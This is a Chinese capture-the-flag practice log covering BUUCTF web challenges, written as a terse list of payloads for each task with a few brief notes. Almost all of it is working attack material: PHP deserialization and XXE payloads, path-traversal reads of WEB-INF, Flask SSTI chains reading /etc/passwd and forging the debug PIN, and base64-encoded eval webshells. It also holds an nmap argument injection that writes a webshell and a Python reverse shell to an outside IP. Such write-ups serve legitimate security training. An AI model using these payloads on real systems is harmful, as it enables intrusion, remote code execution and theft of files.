• BUU_Web_刷题记录_part2


    (反序列化)[网鼎杯 2020 青龙组]AreUSerialz

    • O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"laolao";}

    知识点:

    • protected绕过:php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过
    • Linux下Apache目录明细

    (XXE)[网鼎杯 2020 青龙组]filejava

    • 读取WEB-XML:?filename=./../../../../WEB-INF/web.xml
    • 下载class:
      • ?filename=./../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
      • ?filename=./../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
      • ?filename=./../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    • 查看源码,然后走xee
      • 选择Buu basic中的“Linux Labs”,ifconfig查看一下本机ip,在“/var/www/html”目录里写一份的dtd,url填的是 本机ip+自己设定的等会要监听的端口号,nc开启监听
      • 新建一份excel文档,后缀名改成“zip”,解压缩后可以看到一个叫 “[Content_Types].xml” 的文件,打开这份文件,添加一条代码,用来引用外部dtd实体,编辑好了再压缩回去,把后缀改回“xlsx”,选择文件上传,就可以在内网的这台机子上发现flag
      • 注意:命名格式-->"excel-***.xlsx"

    知识点:

    (PHP弱类型绕过)[MRCTF2020]Ez_bypass

    ——哎,真是纯真时代的美好题型

    • get:?gg[]=1&id[]=0
    • post:passwd=1234567a

    (XXE)[NCTF2019]Fake XML cookbook

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE hack [<!ENTITY lao SYSTEM "file:///flag">]>
    <user><username>&lao;</username><password>123</password></user>

    知识点:

    • 从XML相关一步一步到XXE漏洞
    • DTD 教程
    • XML 系列教程
    • <!ENTITY lao SYSTEM "file:///flag">:声明一个外部实体。实体名:lao,实体内容:"file:///flag"的值,来自本地计算机:SYSTEM
    • &lao;:引用这个实体
    • <!DOCTYPE hack :定义此文为hack类型
    • 外部实体支持的协议:

    (反序列+脑洞)[网鼎杯 2020 朱雀组]phpweb

    • func=readfile&p=index.php
    <?php
    class Test {
        public $p = "ls /tmp";
        public $func = "system";
    }
    $b=new Test();
    $a=serialize($b);
    echo $a;
    • func=unserialize&p=O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}
    • func=readfile&p=/tmp/flagoefiu4r93

    (脑洞)[MRCTF2020]PYWebsite

    • 头部添加:X-Forwarded-For:127.0.0.1

    (反序列化)[NPUCTF2020]ReadlezPHP

    • flag在phpinfo()里面
    <?php
    error_reporting(1);
    class HelloPhp
    {
        public $a;
        public $b;
        public function __construct(){
            $this->a = "Y-m-d h:i:s";
            $this->b = "date";
        }
        public function __destruct(){
            $a = $this->a;
            $b = $this->b;
            echo $b($a);
        }
    }
    
    $t = new HelloPhp();
    $t->b = 'assert';
    $t->a = 'phpinfo();';
    
    echo urlencode(serialize($t));
    ?>

    (Json)[FBCTF2019]RCEService

    • ?cmd={ %0A "cmd":"/bin/cat  /home/rceservice/flag jail" %0A}
    • preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过

    (CMS)[GKCTF2020]老八小超市儿

    • 直接百度ShopXO的漏洞
    • admin.php用默认密码登进去(admin  shopxo)
    • 应用商城下载默认主题,把自己的马加进去,然后上传连马
      • http://4f0630d6-cac1-4165-827a-407050333901.node3.buuoj.cn/public/static/index/default/lao.php
    • 红色的auto.sh每60s执行一个python程序
      • /var/mail/makeflaghint.py
    • 进去修改代码,读取/roo/flag到flag.hint里面

    [GKCTF2020]cve版签到

    (PHP禁用函数绕过)[GKCTF2020]CheckIN

    漏洞:php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围是linux,php7.0-7.3

    • ?Ginkgo=cGhwaW5mbygpOw==
    • 蚁剑连接:?Ginkgo=ZXZhbCgkX1BPU1RbJ2xhbyddKTs= ,密码:lao
    • 在/tmp目录上传exp(pwn('/readflag‘)
    • ?Ginkgo=dmFyX2R1bXAoaW5jbHVkZSgnL3RtcC9sYWppLnBocCcpKTs=

    (PHP取反|异或绕过)[极客大挑战 2019]RCE ME

    (ssti,Flask)[GYCTF2020]FlaskApp

    绕过

    #1.读源码
    {% for c in [].__class__.__base__.__subclasses__() %}
        {% if c.__name__=='catch_warnings' %}
            {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
        {% endif %}
    {% endfor %}
    #2.遍历根目录
    {{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
    #3.getflag
    {% for c in [].__class__.__base__.__subclasses__() %}
        {% if c.__name__=='catch_warnings' %}
            {{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
        {% endif %}
    {% endfor %}

     pin

    # {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} # flaskweb
    # {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}   # 02:42:ae:01:f0:45=2485410459717
    # {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}} # docker机器id b1dea45d61a2c105caf3b988cad9553d5467ffd8d9c81521e7a71514d6a333e2
    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.7/site-packages/flask/app.py',
    ]
    
    private_bits = [
        '2485410459717',
        'b1dea45d61a2c105caf3b988cad9553d5467ffd8d9c81521e7a71514d6a333e2'
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    
    print(rv)
    
    # PIN:436-259-020

    (nmap命令行参数注入)[网鼎杯 2020 朱雀组]Nmap

    • ' <?= @eval($_POST["pd"]);?> -oG pd.phtml '

    (水题)[BSidesCF 2019]Futurella

    • 右键看源码

    (flask+反弹连接)[V&N2020 公开赛]CHECKIN

    # 反弹shell,然后再/proc里找fd
    ?c=python3  -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.245.102",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 相关阅读:
    微信小程序在sublime开发代码高亮显示
    CSS之flex兼容
    本地存储(2)
    IE浏览器兼容性问题解决方案
    设计一套方案,解决不同浏览器的兼容问题(2)
    Webpack, 现在最流行的模块打包工具.压缩打包
    Linux环境下安装配置Node.js
    阿里云服务器 linux 怎么安装php(PHPSTUDY)开发环境
    函数与闭包
    内建的控制结构
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/12865322.html
Copyright © 2020-2023  润新知